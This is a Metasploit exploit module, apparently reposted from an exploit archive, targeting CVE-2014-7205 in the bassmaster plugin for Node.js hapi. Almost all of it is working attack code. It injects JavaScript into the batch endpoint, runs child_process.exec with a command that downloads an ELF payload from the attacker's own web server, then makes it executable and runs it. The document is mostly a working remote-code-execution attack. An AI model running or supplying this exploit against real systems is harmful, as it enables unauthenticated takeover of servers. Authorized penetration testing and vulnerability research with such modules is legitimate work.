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Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution

Posted on 31 October 2016

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
'Description' => %q{
This module exploits an un-authenticated code injection vulnerability in the bassmaster
nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
attacker to dynamically execute JavaScript code on the server side using an eval.

Note that the code uses a 'x2f' character so that we hit the match on the regex.
},
'Author' =>
[
'mr_me <mr_me@offensive-security.com>', # msf
'Jarda Kotesovec' # original bug finder
],
'References' =>
[
[ 'CVE', '2014-7205'],
[ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory
],
'License' => MSF_LICENSE,
'Platform' => ['linux', 'bsd'], # binary > native JavaScript
'Arch' => [ARCH_X86, ARCH_X86_64],
'Privileged' => false,
'Targets' =>
[
[ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 1 2016'))
register_options(
[
Opt::RPORT(8080), # default port for the examples/batch.js file
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
], self.class)
end

def check

# So if we can append an encapsulated string into the body
# we know that we can execute arbitrary JavaScript code
rando = rand_text_alpha(8+rand(8))
check = "+'#{rando}'"

# testing
requests = [
{:method => "get", :path => "/profile"},
{:method => "get", :path => "/item"},
{:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:/)(?:$(d)+.)?([^/$]*)/g;
]

post = {:requests => requests}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URIPATH']),
'ctype' => 'application/json',
'data' => post.to_json
})

# default example app
if res and res.code == 200 and res.body =~ /#{rando}/
return CheckCode::Vulnerable

# non-default app
elsif res and res.code == 500 and res.body =~ /#{rando}/
return CheckCode::Appears
end

return CheckCode::Safe
end

def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end

def send_payload
@bd = rand_text_alpha(8+rand(8))
pn = rand_text_alpha(8+rand(8))
register_file_for_cleanup("/tmp/#{@bd}")
cmd = "wget #{@service_url} -O \x2ftmp\x2f#{@bd};"
cmd << "chmod 755 \x2ftmp\x2f#{@bd};"
cmd << "\x2ftmp\x2f#{@bd}"
pay = ";require('child_process').exec('#{cmd}');"

# pwning
requests = [
{:method => "get", :path => "/profile"},
{:method => "get", :path => "/item"},
{:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:/)(?:$(d)+.)?([^/$]*)/g;
]

post = {:requests => requests}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URIPATH']),
'ctype' => 'application/json',
'data' => post.to_json
})

# default example app
if res and res.code == 200 and res.body =~ /id/
return true

# incase we are not targeting the default app
elsif res and res.code == 500 and es.body !=~ /id/
return true
end
return false
end

def start_http_server
@pl = generate_payload_exe
@elf_sent = false
downfile = rand_text_alpha(8+rand(8))
resource_uri = "\x2f#{downfile}"
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

@service_url = "http:\x2f\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
service_url_payload = srv_host + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
connect
end

def exploit
start_http_server
if send_payload
print_good("Injected payload")
# we need to delay, for the stager
select(nil, nil, nil, 5)
end
end
end

 

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